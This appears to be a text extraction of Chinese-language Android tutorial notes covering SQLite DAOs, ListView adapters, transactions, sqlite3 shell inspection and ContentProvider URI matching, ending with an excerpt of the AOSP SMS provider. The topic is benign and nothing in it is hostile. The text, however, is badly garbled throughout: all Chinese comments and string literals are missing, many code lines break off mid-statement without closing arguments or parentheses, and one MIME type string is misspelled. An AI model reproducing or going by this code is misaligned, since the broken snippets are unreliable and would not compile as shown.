3

import	android.content.ContentValues;
import	android.content.Context;
import	android.database.Cursor;
import	android.database.sqlite.SQLiteDatabase;
import	cn.zengfansheng.db.PersonDBOpenHelper;
/**
	*	SQLite
	*	
	*	@author	hacket
	*	
	*/
public	class	PersonDa2	{
				private	PersonDBOpenHelper	helper;
				//	PersonDaohelper
				public	PersonDa2(Context	context)	{
								helper	=	new	PersonDBOpenHelper(context,	"person.db",	null,	1);
				}
				/**
					*	1
					*	@param	name	
					*	@param	phone	
					*/
				public	boolean	add(String	name,	String	phone)	{



								SQLiteDatabase	database	=	helper.getWritableDatabase();
								//	String	sql	=	"insert	into	person(name,phone)values(?,?)";
								//	database.execSQL(sql,	new	String[]	{	name,	phone	});
								ContentValues	values	=	new	ContentValues();
								values.put("name",	name);
								values.put("phone",	phone);
								long	rawid	=	database.insert("person",	null,	values);//	(	null		
								//Map	key:person(name,phone)namephone	,	valuevalues(?,?)
								
								database.close();//	,		.
								return	rawid	>	-1;
				}
				/**
					*	2name
					*	
					*	@param	name				name
					*	@return	truefalse.
					*/
				public	boolean	select(String	name)	{
								SQLiteDatabase	database	=	helper.getReadableDatabase();
								//	String	sql	=	"select	*	from	person	where	name	=	?";
								//	Cursor	cursor	=	database.rawQuery(sql,	new	String[]	{	name	});
								
								Cursor	cursor	=	database.query("person",	null,	"name=?",	new	String[]
{name},	null,	null,	null);
								boolean	b	=	cursor.moveToFirst();
								cursor.close();
								database.close();
								return	b;
				}
				/**
					*	3namephone
					*	
					*	@param	name
					*												
					*	@param	phone
					*												



					*/
				public	boolean	update(String	name,	String	phone)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								//	String	sql	=	"update	person	set	phone	=	?	where	name	=	?";
								//	database.execSQL(sql,	new	String[]	{	phone,	name	});
								ContentValues	values	=	new	ContentValues();
								values.put("phone",	phone);//	keyvalue
								int	update	=	database.update("person",	values,	"name=?",	new	String[]	{	name	});
								database.close();
								return	update	>	0;
				}
				/**
					*	4
					*	@param	name	
					*/
				public	boolean	delete(String	name)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								//	String	sql	=	"delete	from	person	where	name	=	?";
								//	database.execSQL(sql,	new	String[]	{	name	});
								int	delete	=	database.delete("person",	"name=?",	new	String[]	{	name	});
								database.close();
								return	delete	>	0;
				}
}



ScrollViewListView

ScrollView

xml

<ScrollView	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<LinearLayout
								android:id="@+id/ll_root"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="vertical"	>
								<TextView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"	
												android:text="View"
												/>
				</LinearLayout>
</ScrollView>
	
MainActivity.java
import	java.util.List;
import	android.app.Activity;
import	android.os.Bundle;
import	android.widget.LinearLayout;
import	android.widget.TextView;
import	cn.zengfansheng.domain.Person;
import	cn.zengfansheng.personDao.PersonDao2;
public	class	MainActivity	extends	Activity	{
				private	LinearLayout	ll;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);



								ll	=	(LinearLayout)	this.findViewById(R.id.ll_root);
								
								PersonDao2	pdDao2	=	new	PersonDao2(this);
								List<Person>	persons	=	pdDao2.findAllPersons();
								for	(Person	person	:	persons)	{
												String	perInfo	=	person.toString();
												TextView	textView	=	new	TextView(this);
												textView.setText(perInfo);
												ll.addView(textView);
								}
				}
}

ListView



1xml

<ListView	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	
				android:id="@+id/lv"
				>

</ListView>

2MainActivity.java

import	java.util.List;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.ListView;
import	android.widget.TextView;
import	cn.zengfansheng.domain.Person;
import	cn.zengfansheng.personDao.PersonDao2;
	
public	class	MainActivity	extends	Activity	{
	
				private	ListView	lv;
				List<Person>	persons	=	null;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								lv	=	(ListView)	this.findViewById(R.id.lv);
								
								PersonDao2	pdDao2	=	new	PersonDao2(this);
								persons	=	pdDao2.findAllPersons();
								lv.setAdapter(new	MyListAdapter());



				}
				private	class	MyListAdapter	extends	BaseAdapter	{
	
								//	 listview
								@Override
								public	int	getCount()	{
												if	(persons.size()	>	0)	{
																return	persons.size();
												}
												return	0;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
	
												//	getCount()getView()
												System.out.println("" 	+	position);
												TextView	view	=	new	TextView(MainActivity.this);
												view.setText(persons.get(position).toString());//	person
												return	view;
								}
				}
}



	



1ListViewMVC

m	:	model									 List<Person>
v	:	view														Listview
c	:	controller						Adapter	

ListView

22 	ListView	Adapter google
	
	 SimpleXXX,BaseXXXDefaultXXX



ListView	

ListView

1

a)	AdaptergetCount()

b)	

c)	View

d)	getView()View

2



getCount	
getView		view.
	
3viewviewview

ListViewview

4ListView

public	int	getCount()	{
				return	Integer.MAX_VALUE;//	
}
ListView
	
1xml
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
					>
				<ListView
								android:id="@+id/lv"
								android:layout_width="match_parent"	
								android:layout_height="wrap_content"
								></ListView>
</RelativeLayout>
	
2MainActivity.java
	
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.ListView;
import	android.widget.TextView;
	
public	class	MainActivity	extends	Activity	{



				private	ListView	lv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
	
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								lv	=	(ListView)	this.findViewById(R.id.lv);
								lv.setAdapter(new	MyListAdapter());//	Sets	the	data	behind	this	ListView.
				}
				private	class	MyListAdapter	extends	BaseAdapter	{
	
								//	
								@Override
								public	int	getCount()	{
												return	Integer.MAX_VALUE;//	
								}
	
								//	view
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												
												TextView	tView	=	new	TextView(MainActivity.this);
												switch	(position	%	3)	{
												case	0:
																tView.setText("" );
																break;
												case	1:
																tView.setText("" );
																break;
												case	2:
																tView.setText("" );
																break;
												case	3:
																tView.setText("" );
																break;
												}



												return	tView;
								}
	
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
				}
}
3



xmlview

3xmlview

3xmlview

LayoutInflater		inflater	=	(LayoutInflater)	MainActivity.this.getSystemService(Context.

//	Context.getSystemService("") 												LayoutInflater		inflater	=	(LayoutInflater)	MainActivity.	
LAYOUT_INFLATER_SERVICE	);
													//	View	list_item	=	inflater.inflate(R.id.list_item,	null);//idlist_itemlayoutlist_item

												View	list_item	=	inflater.inflate(R.layout.	list_item	,		null	);	//	2

LayoutInflater	inflater2	=	LayoutInflater.from(MainActivity.this);

//	LayoutInflater.from(Context)
//												LayoutInflater	inflater2	=	LayoutInflater.from(MainActivity.this);

//												View	list_item	=	inflater2.inflate(R.layout.list_item,	null);

public			static		LayoutInflater		from	(Context	context)	{
				LayoutInflater	LayoutInflater	=
												(LayoutInflater)	context.getSystemService(Context.	LAYOUT_INFLATER_SERVICE	
					if		(LayoutInflater	==		null	)	{
									throw			new		AssertionError(	"LayoutInflater	not	found."	);
				}
					return		LayoutInflater;
}
	

View	list_item	=	View.inflate(MainActivity.this,	R.layout.list_item,	null);
	
public			static		View		inflate	(Context	context,		int		resource,	ViewGroup	root)	{
				LayoutInflater	factory	=	LayoutInflater.	from	(context);
					return		factory.inflate(resource,	root);
}



ListViewxmlview

list_view.xml

<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="horizontal"	
				>
				<TextView
								android:id="@+id/tv_personid"
								android:layout_width="0dip"
								android:layout_height="wrap_content"
								android:layout_weight="1"
								android:gravity="center_horizontal"
								android:shadowColor="#ff0000"
								android:shadowDx="1"
								android:shadowDy="1"
								android:shadowRadius="1"
								android:textColor="#aa5544"
								android:textSize="17sp"	/>
				<TextView
								android:id="@+id/tv_personname"
								android:layout_width="10dip"
								android:layout_height="wrap_content"
								android:layout_weight="1"
								android:gravity="center_horizontal"
								android:shadowColor="#ff0000"
								android:shadowDx="2"
								android:shadowDy="2"
								android:shadowRadius="1"
								android:textColor="#009900"
								android:textSize="20sp"	/>
				<TextView
								android:id="@+id/tv_personphone"
								android:layout_width="0dip"



								android:layout_height="wrap_content"
								android:layout_weight="1"
								android:gravity="center_horizontal"
								android:shadowColor="#ff0000"
								android:shadowDx="2"
								android:shadowDy="2"
								android:shadowRadius="1"
								android:textColor="#ff8811"
								android:textSize="20sp"	/>

</LinearLayout>

MainActivity.java
import	java.util.List;
import	android.app.Activity;
import	android.content.Context;
import	android.os.Bundle;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.ListView;
import	android.widget.TextView;
import	cn.zengfansheng.domain.Person;
import	cn.zengfansheng.personDao.PersonDao2;
public	class	MainActivity	extends	Activity	{
				private	ListView	lv;
				List<Person>	persons	=	null;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								lv	=	(ListView)	this.findViewById(R.id.lv);
								
								PersonDao2	pdDao2	=	new	PersonDao2(this);
								persons	=	pdDao2.findAllPersons();



								lv.setAdapter(new	MyListAdapter());
				}
	
				private	class	MyListAdapter	extends	BaseAdapter	{
								//	 listview
								@Override
								public	int	getCount()	{
												if	(persons.size()	>	0)	{
																return	persons.size();
												}
												return	0;
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
	
												//	getCount()getView()
												//		list_item.
												//list_item.xml	view.
	
												//	,	
	
												//	Context.getSystemService("")
												LayoutInflater		inflater	=	(LayoutInflater)	MainActivity.this.getSystemService(Context.
												//	View	list_item	=	inflater.inflate(R.id.list_item,	null);//idlist_itemlayoutlist_item
												View	list_item	=	inflater.inflate(R.layout.list_item,	null);//	2
												
												//	LayoutInflater.from(Context)
//												LayoutInflater	inflater2	=	LayoutInflater.from(MainActivity.this);
//												View	list_item	=	inflater2.inflate(R.layout.list_item,	null);



	
												//	
//												View	list_item	=	View.inflate(MainActivity.this,	R.layout.list_item,	null);
	
												//	view	viewid
												TextView	personid	=	(TextView)	list_item.findViewById(R.id.tv_personid
												TextView	personname	=	(TextView)	list_item.findViewById(R.id.tv_personname
												TextView	personphone	=	(TextView)	list_item.findViewById(R.id.tv_personphone
												
												//	person
												Person	person	=	persons.get(position);
												
												//	personid.setText(person.getId());
												personid.setText(personid.getId());
												personname.setText(person.getName());
												personphone.setText(person.getPhone());
												return	list_item;
								}
				}
}



1xmlview

2

a)	3ViewLinearLayout31
android:layout_width="0dip"
android:layout_weight="1"
//LinearLayout3
	
2Windows bgr			Android rgb
	

	



3

android:gravity="center_horizontal"		

android:layout_gravity	

	

4

android:shadowColor="#ff0000"	//
android:shadowDx="1"	//
android:shadowDy="1"	//
android:shadowRadius="1"	//



ArrayAdapter

ArrayAdapter

lv.setAdapter(new	ArrayAdapter<String>
(this,	R.layout.list_item,	R.id.tv_info,	objects	));

Context

xml

id

1list_item.xml

<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<ImageView
								android:layout_width="30dip"
								android:layout_height="30dip"
								android:src="@drawable/ic_launcher"	/>
				<TextView
								android:id="@+id/tv_info"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_marginLeft="10dip"
								android:text=""
								android:textSize="20sp"	/>
</LinearLayout>
	



2MainActivity.java
import	android.app.Activity;
import	android.os.Bundle;
import	android.widget.ArrayAdapter;
import	android.widget.ListView;
public	class	MainActivity	extends	Activity	{
				private	ListView	lv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								lv	=	(ListView)	this.findViewById(R.id.lv);
								String[]	objects	=	new	String[100];
								for	(int	i	=	0;	i	<	100;	i++)	{
												objects[i]	=	"hacket--"+i;
								}
								lv.setAdapter(new	ArrayAdapter<String>
(this,	R.layout.list_item,	R.id.tv_info,	objects	));
				}
}





SimpleAdapter

SimpleAdapter:

SimpleAdapter(Context	context,	List<?	extends	Map<String,	?
>>	data,int	resource,	String[]	from,	int[]	to)
context	
data		mapkeylist
resource		
from		mapkey
to		fromid

1layout_item.xml

<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"



				android:orientation="horizontal"	>
				<ImageView
								android:id="@+id/iv"
								android:layout_width="0dip"
								android:layout_height="wrap_content"
								android:layout_gravity="center_horizontal"
								android:layout_weight="1"	
								android:src="@drawable/emo_im_tongue_sticking_out"
								android:contentDescription="tupian"/>
				<TextView
								android:id="@+id/tv_text1"
								android:layout_width="0dip"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:layout_gravity="center_horizontal"
								android:layout_weight="1"	/>
				<TextView
								android:id="@+id/tv_text2"
								android:layout_width="0dip"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:layout_gravity="center_horizontal"
								android:layout_weight="1"	/>
</LinearLayout>
	
2MainActivity.java
import	java.util.ArrayList;
import	java.util.HashMap;
import	java.util.List;
import	java.util.Map;
import	android.app.Activity;
import	android.os.Bundle;
import	android.widget.ListView;
import	android.widget.SimpleAdapter;
	
public	class	MainActivity	extends	Activity	{
				private	ListView	lv;



				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								lv	=	(ListView)	this.findViewById(R.id.lv);
	
								List<Map<String,	Object>>	data	=	new	ArrayList<Map<String,	Object>>();
	
								HashMap<String,	Object>	map1	=	new	HashMap<String,	Object>();
								map1.put("img",	R.drawable.emo_im_tongue_sticking_out);
								map1.put("name",	"hacket");
								map1.put("address",	"" );
	
								HashMap<String,	Object>	map2	=	new	HashMap<String,	Object>();
								map2.put("img",	R.drawable.emo_im_undecided);
								map2.put("name",	"xiaosheng");
								map2.put("address",	"" );
								
								HashMap<String,	Object>	map3	=	new	HashMap<String,	Object>();
								map3.put("img",	R.drawable.emo_im_winking);
								map3.put("name",	"" );
								map3.put("address",	"" );
	
								data.add(map1);
								data.add(map2);
								data.add(map3);
	
								String[]	from	=	{	"img",	"name",	"address"	};
	
								int[]	to	=	{	R.id.iv,	R.id.tv_text1,	R.id.tv_text2	};
	
								lv.setAdapter(new	SimpleAdapter(this,	data,	R.layout.layout_item,	from,to));
								/*
									*	data	:	map	 list
									*	resource	 xml
									*	from			A	list	of	column	names	that	will	be	added	to	the	Map	associated	with	each	item.



																		namesmapmapkey
									*	to	idfrom
									*/
				}
}
3



	
SQLiteDatabasebeginTransaction() endTransaction()	
endTransaction()setTransactionSuccessful()	
setTransactionSuccessful()	
	SQLiteDatabase	db	=	....;
db.beginTransaction();//
try	{
				db.execSQL("insert	into	person(name,	age)	values(?,?)",	new	Object[]
{"",	4});
				db.execSQL("update	person	set	name=?	where	personid=?",	new
Object[]{"",	1});
				db.setTransactionSuccessful();//endTransaction()	
}	finally	{
				db.endTransaction();//
}
db.close();
SQL

Transactions	can	be	nested.	When	the	outer	transaction	is	ended	all	of	the	work	done	in
that	transaction	and	all	of	the	nested	transactions	will	be	committed	or	rolled	back.	The
changes	will	be	rolled	back	if	any	transaction	is	ended	without	being	marked	as	clean	(by
calling	setTransactionSuccessful).	Otherwise	they	will	be	committed.

Here	is	the	standard	idiom	for	transactions:

			db.beginTransaction();
			try	{
					...
					db.setTransactionSuccessful();



			}	finally	{
					db.endTransaction();
			}
	

public	class	TestTransaction	extends	AndroidTestCase	{
	
				String	s;
				public	void	test()	throws	Exception	{
								PersonDBOpenHelper	helper	=	new	PersonDBOpenHelper(getContext());
								SQLiteDatabase	db	=	helper.getWritableDatabase();
								db.beginTransaction();//	
								try	{
												db.execSQL("update	person	set	account	=	account-100	where	name='zhangsan'"
												//	s.equals("haha");
												db.execSQL("update	person	set	account	=	account+100	where	name='zhangsan0'"
												db.setTransactionSuccessful();	//		//
								}	finally	{
												db.endTransaction();	//	flag
												db.close();
								}
				}
}



Android	sqlite3

Android	sqlite3

dataSqlite3

1	cmd	à	adb	shell	linux
2	cd	data/data/com.android.contacts.provider
3	cd	databases
4	sqlite3	contacts		eg:	sqlite3	contacts.db
5	.tables			eg:	.table
6	.schema	 	eg:	.schema
7	.help			eg:	.help
8	.header(s)	NO	|OFF	eg:	headers	ON
9	.mode	MODE		?table?		eg:	.mode	column
10	.nullValue	NULL	eg:	.nullValue	NULL





ContentProvider

ContentProvider	androidContentProvider ContentProvider	
Context.MODE_WORLD_READABLE	Context.MODE_WORLD_WRITEABLE

	
ContentProvider
ContentProvider ContentProvider
public	class	PersonContentProvider	extends	ContentProvider{
			public	boolean	onCreate()
			public	Uri	insert(Uri	uri,	ContentValues	values)
			public	int	delete(Uri	uri,	String	selection,	String[]	selectionArgs)
			public	int	update(Uri	uri,	ContentValues	values,	String	selection,	String[]	
			public	Cursor	query(Uri	uri,	String[]	projection,	String	selection,	String[]	
			public	String	getType(Uri	uri)}
AndroidManifest.xml<provider>ContentProvider ContentProvider	

	ContentProvider authorities	
<manifest	....	>
				<application	android:icon="@drawable/icon"	android:label="@string/app_name">
								<provider	android:name=".PersonContentProvider"
android:authorities="cn.itcast.providers.personprovider"/>
				</application>
</manifest>

URI	

UriUri



1ContentProvider	
2ContentProvider Uri

	
ContentProvider schemeAndroid
a)	scheme content://
b)	 AuthorityContentProvider
c)	 path :
	
personid10 :/person/10
personid10name 	person/10/name
person :/person
xxx :/xxx
	

xml :
xmlpersonname /person/name
UriUriparse()
Uri	uri	=	Uri.parse("content://cn.itcast.provider.personprovider/person")

UriMatcher

Uri UriUri AndroidUri UriMatcher	ContentUris	
UriMatcherUri
Uri
//UriMatcher.NO_MATCH
UriMatcher		sMatcher	=	new	UriMatcher(UriMatcher.NO_MATCH);
//match()content://cn.itcast.provider.personprovider/person 1
sMatcher.addURI(“cn.itcast.provider.personprovider”,	“person”,	



//match()content://cn.itcast.provider.personprovider/person/230
sMatcher.addURI(“cn.itcast.provider.personprovider”,	“person/#”,	2);
switch	(sMatcher.match(Uri.parse("content://cn.itcast.provider.personprovider/person/10"
			case	1
				break;
			case	2
				break;
			default://
				break;
}
Uri sMatcher.match(uri)Uri addURI() content://cn.itcast.provider.personprovider/person

ContentUris

ContentUrisUriID
1withAppendedId(uri,	id) ID
Uri	uri	=	Uri.parse("content://cn.itcast.provider.personprovider/person")
Uri	resultUri	=	ContentUris.withAppendedId(uri,	10);
//Uri content://cn.itcast.provider.personprovider/person/10
2parseId(uri) ID
Uri	uri	=	Uri.parse("content://cn.itcast.provider.personprovider/person/10")
long	personid	=	ContentUris.parseId(uri);//:10

Android——

<provider
				android:name="com.itheima.db.PersonDBProvider"	//ContentProvider
				android:authorities="com.itheima.db.personprovider"	>	//.
</provider>

1private

2querycursorclose()



3AndroidURIcontent://

I/ActivityThread(1830):	Pub	cn.zengfansheng.db.personprovider:	cn.zengfansheng.db.PersonDBProvider

	

	

1ContentProvider

2manifest.xml

provider
				android:name="cn.zengfansheng.db.PersonDBProvider"
				android:authorities="cn.zengfansheng.db.personprovider"
></provider>
3UriMatcheraddUripath/
content:///path()/
UriMatcher
private	static	final	UriMatcher	matcher	=	new	UriMatcher(UriMatcher.NO_MATCH
				private	static	final	int	INSERT	=	1;//	
				private	static	final	int	DELETE	=	2;//	



				private	static	final	int	UPDATE	=	3;//	
				private	static	final	int	SELECT	=	4;//	
				static	{
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/insert",	INSERT
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/delete",	DELETE
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/update",	UPDATE
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/select",	SELECT

				}

4uri

public	Cursor	query(Uri	uri,	String[]	projection,	String	selection,
												String[]	selectionArgs,	String	sortOrder)	{
								int	match	=	matcher.match(uri);
								if	(match	==	PersonDBProvider.SELECT)	{
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												Cursor	cursor	=	database.query("person",	projection,	selection,	selectionArgs,	
												return	cursor;	//	cursorclose()
								}else	{
												return	null;
								}
}

5	 ContentResolver	resolver	=	this.getContentResolver();

6uriuri

				/**
					*	select
					*	
					*	@param	view
					*/
				public	void	select(View	view)	{
								//
								ContentResolver	resolver	=	this.getContentResolver();
								Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/select"



								Cursor	cursor	=	resolver.query(uri	,	new	String[]{"id","name","phone"},	null
								while	(cursor.moveToNext())	{
												int	id	=	cursor.getInt(cursor.getColumnIndex("id"));
												String	name	=	cursor.getString(cursor.getColumnIndex("name"));
												String	phone	=	cursor.getString(cursor.getColumnIndex("phone"));
												Log.i(TAG,	"id:"	+	id	+	"name:"	+	name	+	"phone:"	+	phone);
								}
								cursor.close();
				}

package	cn.zengfansheng.db;
	
import	android.content.ContentProvider;
import	android.content.ContentUris;
import	android.content.ContentValues;
import	android.content.UriMatcher;
import	android.database.Cursor;
import	android.database.sqlite.SQLiteDatabase;
import	android.net.Uri;
	
public	class	PersonDBProvider	extends	ContentProvider	{
	
				private	PersonSQLiteOpenHelper	helper;
	
				private	static	final	UriMatcher	matcher	=	new	UriMatcher(UriMatcher.NO_MATCH
				private	static	final	int	INSERT	=	1;//	
				private	static	final	int	DELETE	=	2;//	
				private	static	final	int	UPDATE	=	3;//	
				private	static	final	int	SELECT	=	4;//	
				private	static	final	int	SELECTONE	=	5;//	
	
				static	{
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/insert",	INSERT
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/delete",	DELETE
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/update",	UPDATE



								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/select",	SELECT
								matcher.addURI("cn.zengfansheng.db.personprovider",	"person/query/#",
																SELECTONE);
				}
	
				//	
				@Override
				public	boolean	onCreate()	{
								helper	=	new	PersonSQLiteOpenHelper(getContext());
								return	false;
				}
	
				@Override
				public	Cursor	query(Uri	uri,	String[]	projection,	String	selection,
												String[]	selectionArgs,	String	sortOrder)	{
								int	match	=	matcher.match(uri);
								if	(match	==	PersonDBProvider.SELECT)	{
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												Cursor	cursor	=	database.query("person",	projection,	selection,	selectionArgs,	
												return	cursor;	//	cursorclose()
								}	else	if	(match	==	PersonDBProvider.SELECTONE)	{	//	id
												long	id	=	ContentUris.parseId(uri);//	content://authority/path/id
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												Cursor	cursor	=	database.query("person",	projection,	"id=?",new	String[]{id+
												return	cursor;	//	cursorclose()
								}
								return	null;
				}
	
				@Override
				public	String	getType(Uri	uri)	{
								//The	returned	MIME	type	should	start	with	vnd.android.cursor.item	for	a	single	record,	or	vnd.android.cursor.dir/	for	multiple	items
								if	(matcher.match(uri)	==	SELECT)	{
												return	"nd.android.cursor.dir/person";	//	
								}	else	if	(matcher.match(uri)	==	SELECTONE)	{
												return	"vnd.android.cursor.item/person";	//	
								}



								return	null;
				}
	
				@Override
				public	Uri	insert(Uri	uri,	ContentValues	values)	{
								int	match	=	matcher.match(uri);
								if	(match	==	PersonDBProvider.INSERT)	{
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												database.insert("person",	null,	values);
												database.close();
								}	else	{
												throw	new	IllegalArgumentException("uri" );
								}
								return	null;
				}
	
				@Override
				public	int	delete(Uri	uri,	String	selection,	String[]	selectionArgs)	{
								int	match	=	matcher.match(uri);
								if	(match	==	PersonDBProvider.DELETE)	{
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												database.delete("person",	selection,	selectionArgs);
												database.close();
								}	else	{
												throw	new	IllegalArgumentException("uri" );
								}
								return	0;
				}
	
				@Override
				public	int	update(Uri	uri,	ContentValues	values,	String	selection,
												String[]	selectionArgs)	{
								int	match	=	matcher.match(uri);
								if	(match	==	PersonDBProvider.UPDATE)	{
												SQLiteDatabase	database	=	helper.getWritableDatabase();
												database.update("person",	values,	selection,	selectionArgs);
												database.close();



								}	else	{
												throw	new	IllegalArgumentException("uri" );
								}
								return	0;
				}
}

import	android.app.Activity;
import	android.content.ContentResolver;
import	android.content.ContentValues;
import	android.database.Cursor;
import	android.net.Uri;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.View;
	
public	class	MainActivity	extends	Activity	{
	
				private	static	final	String	TAG	=	"MainActivity";
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	1select
					*	
					*	@param	view
					*/
				public	void	select(View	view)	{
								//
								ContentResolver	resolver	=	this.getContentResolver();
								Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/select"
							Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/query/10"



								Cursor	cursor	=	resolver.query(uri	,	new	String[]{"id","name","phone"},	null
								while	(cursor.moveToNext())	{
												int	id	=	cursor.getInt(cursor.getColumnIndex("id"));
												String	name	=	cursor.getString(cursor.getColumnIndex("name"));
												String	phone	=	cursor.getString(cursor.getColumnIndex("phone"));
												Log.i(TAG,	"id:"	+	id	+	"name:"	+	name	+	"phone:"	+	phone);
								}
								cursor.close();
				}
				/**
					*	2insert
					*	
					*	@param	view
					*/
				public	void	insert(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								ContentValues	values	=	new	ContentValues();
								values.put("name",	"" );
								values.put("phone",	"110");
								Uri	url	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/insert"
								resolver.insert(url,	values);
								Log.i(TAG,	"" );
				}
				/**
					*	3update
					*	
					*	@param	view
					*/
				public	void	update(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/update"
								ContentValues	values	=	new	ContentValues();
								values.put("phone",	"1111111111");
								int	update	=	resolver.update(uri,	values,	"name=?",
																new	String[]	{	"" 	});
								if	(update	>	0)	{
												Log.i(TAG,	"" );



								}
				}
				/**
					*	4delete
					*	
					*	@param	view
					*/
				public	void	delete(View	view)	{
								ContentResolver	resolver	=	this.getContentResolver();
								Uri	uri	=	Uri.parse("content://cn.zengfansheng.db.personprovider/person/delete"
								int	delete	=	resolver.delete(uri,	"name=?",	new	String[]	{	"" 	});
								if	(delete	>	0)	{
												Log.i(TAG,	"" );
								}

				}
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2aosp_jb422\packages\providers\TelephonyProvidermanifest.xml

				

	<provider	android:name="SmsProvider"
						android:authorities="sms"
						android:multiprocess="true"
						android:exported="true"
						android:readPermission="android.permission.READ_SMS"
						android:writePermission="android.permission.WRITE_SMS"	/>
3 aosp_jb422\packages\providers\TelephonyProvider\src\com\android\providers\telephonySmsProvider.java
					
	
private	static	final	int	SMS_ALL	=	0;
private	static	final	int	SMS_ALL_ID	=	1;
private	static	final	int	SMS_INBOX	=	2;
private	static	final	int	SMS_INBOX_ID	=	3;
private	static	final	int	SMS_SENT	=	4;



private	static	final	int	SMS_SENT_ID	=	5;
private	static	final	int	SMS_DRAFT	=	6;
private	static	final	int	SMS_DRAFT_ID	=	7;
private	static	final	int	SMS_OUTBOX	=	8;
private	static	final	int	SMS_OUTBOX_ID	=	9;
private	static	final	int	SMS_CONVERSATIONS	=	10;
private	static	final	int	SMS_CONVERSATIONS_ID	=	11;
private	static	final	int	SMS_RAW_MESSAGE	=	15;
private	static	final	int	SMS_ATTACHMENT	=	16;
private	static	final	int	SMS_ATTACHMENT_ID	=	17;
private	static	final	int	SMS_NEW_THREAD_ID	=	18;
private	static	final	int	SMS_QUERY_THREAD_ID	=	19;
private	static	final	int	SMS_STATUS_ID	=	20;
private	static	final	int	SMS_STATUS_PENDING	=	21;
private	static	final	int	SMS_ALL_ICC	=	22;
private	static	final	int	SMS_ICC	=	23;
private	static	final	int	SMS_FAILED	=	24;
private	static	final	int	SMS_FAILED_ID	=	25;
private	static	final	int	SMS_QUEUED	=	26;
private	static	final	int	SMS_UNDELIVERED	=	27;
	
private	static	final	UriMatcher	sURLMatcher	=	new	UriMatcher(UriMatcher.NO_MATCH
	
static	{
				sURLMatcher.addURI("sms",	null,	SMS_ALL);		//null,
				sURLMatcher.addURI("sms",	"#",	SMS_ALL_ID);
				sURLMatcher.addURI("sms",	"inbox",	SMS_INBOX);
				sURLMatcher.addURI("sms",	"inbox/#",	SMS_INBOX_ID);
				sURLMatcher.addURI("sms",	"sent",	SMS_SENT);
				sURLMatcher.addURI("sms",	"sent/#",	SMS_SENT_ID);
				sURLMatcher.addURI("sms",	"draft",	SMS_DRAFT);
				sURLMatcher.addURI("sms",	"draft/#",	SMS_DRAFT_ID);
